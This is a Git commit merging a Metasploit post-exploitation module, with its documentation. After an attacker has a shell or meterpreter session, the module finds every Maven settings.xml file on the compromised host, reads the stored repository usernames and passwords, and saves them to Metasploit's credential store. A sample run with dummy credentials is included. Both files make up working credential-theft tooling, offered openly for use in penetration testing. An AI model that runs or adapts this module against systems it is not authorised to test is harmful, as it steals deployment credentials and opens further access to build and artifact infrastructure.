Land #8831, Add Maven post-exploitation credential extraction module

Merge remote-tracking branch 'upstream/pr/8831' into upstream-master
bug/bundler_fix
Brent Cook 2017-09-08 00:37:03 +02:00
commit a0181a4d54
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
2 changed files with 214 additions and 0 deletions

View File

@ -0,0 +1,64 @@
## Vulnerable Application
[Maven](https://maven.apache.org/) a software project management.
This module seeks all settings.xml (Maven configuration file) on the target file system to extract credentials from them.
Credentials are store in the <server> tag ; the module also tries to cross the identifier found with the <mirror> or
<repository> tag in order to find the full realm the credentials belong to.
This module was successfully tested against:
- Ubuntu 14.04 and Maven 3.0.5 with shell and meterpreter as session type
- Debian 9 and Maven 3.0.5 with shell and meterpreter as session type
## Verification Steps
1. Get a `shell` or `meterpreter` session on some host.
2. Do: ```use post/multi/gather/maven_creds```
3. Do: ```set SESSION [SESSION_ID]```
4. Do: ```run```
5. If the system has readable configuration files (settings.xml) containing username and passwords, they will be printed out.
## Scenarios
### Ubuntu 14.04 and Maven version 3.0.5
```
msf post(maven_creds) > run
[*] Finding user directories
[*] Unix OS detected
[*] Looting 19 files
[*] Downloading /home/user/settings.xml
[*] Reading settings.xml file from /home/user/settings.xml
[*] Collected the following credentials:
[*] Id: server-nexus-dev
[*] Username: deploynexus-dev
[*] Password: password-dev
[*] Try to find url from id...
[*] No url found, id will be set as realm
[*] Collected the following credentials:
[*] Id: server-nexus-int
[*] Username: deploynexus-int
[*] Password: password-int
[*] Try to find url from id...
[*] Found url in mirror : http://www.myhost.com/int
[*] Collected the following credentials:
[*] Id: server-nexus-prd
[*] Username: deploynexus-prd
[*] Password: password-prd
[*] Try to find url from id...
[*] Found url in repository : http://www.myhost.com/prd
msf post(maven_creds) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
deploynexus-dev password-dev server-nexus-dev Password
deploynexus-int password-int http://www.myhost.com/int Password
deploynexus-prd password-prd http://www.myhost.com/prd Password

View File

@ -0,0 +1,150 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'nokogiri'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
def initialize(info={})
super( update_info(info,
'Name' => 'Multi Gather Maven Credentials Collection',
'Description' => %q{
This module will collect the contents of all users settings.xml on the targeted
machine.
},
'License' => MSF_LICENSE,
'Author' => ['elenoir'],
'Platform' => %w{ bsd linux osx unix win },
'SessionTypes' => ['shell','meterpreter']
))
end
def gathernix
print_status("Unix OS detected")
files = cmd_exec('locate settings.xml').split("\n")
# Handle case where locate does not exist (error is returned in first element)
if files.length == 1 && !directory?(files.first)
files = []
paths = enum_user_directories.map {|d| d}
if paths.nil? || paths.empty?
print_error("No users directory found")
return
end
paths.each do |path|
path.chomp!
file = "settings.xml"
target = "#{path}/#{file}"
if file? target
files.push(target)
end
end
end
return files
end
def gatherwin
print_status("Windows OS detected")
return cmd_exec('cd\ && dir settings.xml /b /s').split("\n")
end
def run
print_status("Finding user directories")
files = ""
case session.platform
when 'windows'
files = gatherwin
when 'unix', 'linux', 'bsd', 'osx'
files = gathernix
else
print_error("Incompatible platform")
end
if files.nil? || files.empty?
print_error("No settings.xml file found")
return
end
download_loot(files)
end
def download_loot(files)
print_status("Looting #{files.count} files")
files.each do |target|
target.chomp!
if file? target
print_status("Downloading #{target}")
extract(target)
end
end
end
def parse_settings(target, data)
xml_doc = Nokogiri::XML(data)
xml_doc.remove_namespaces!
xml_doc.xpath("//server").each do |server|
id = server.xpath("id").text
username = server.xpath("username").text
password = server.xpath("password").text
print_status("Collected the following credentials:")
print_status(" Id: %s" % id)
print_status(" Username: %s" % username)
print_status(" Password: %s" % password)
print_status("Try to find url from id...")
realm = ""
xml_doc.xpath("//mirror[id = '#{id}']").each do |mirror|
realm = mirror.xpath("url").text
print_status("Found url in mirror : #{realm}")
end
if realm.blank?
xml_doc.xpath("//repository[id = '#{id}']").each do |repository|
realm = repository.xpath("url").text
print_status("Found url in repository : #{realm}")
end
end
if realm.blank?
print_status("No url found, id will be set as realm")
realm = id
end
print_line("")
credential_data = {
origin_type: :import,
module_fullname: self.fullname,
filename: target,
service_name: 'maven',
realm_value: realm,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
private_type: :password,
private_data: password,
username: username,
workspace_id: myworkspace_id
}
create_credential(credential_data)
end
end
def extract(target)
print_status("Reading settings.xml file from #{target}")
data = ""
if session.type == "shell"
data = session.shell_command("cat #{target}")
else
settings = session.fs.file.new("#{target}", "rb")
until settings.eof?
data << settings.read
end
end
parse_settings(target, data)
end
end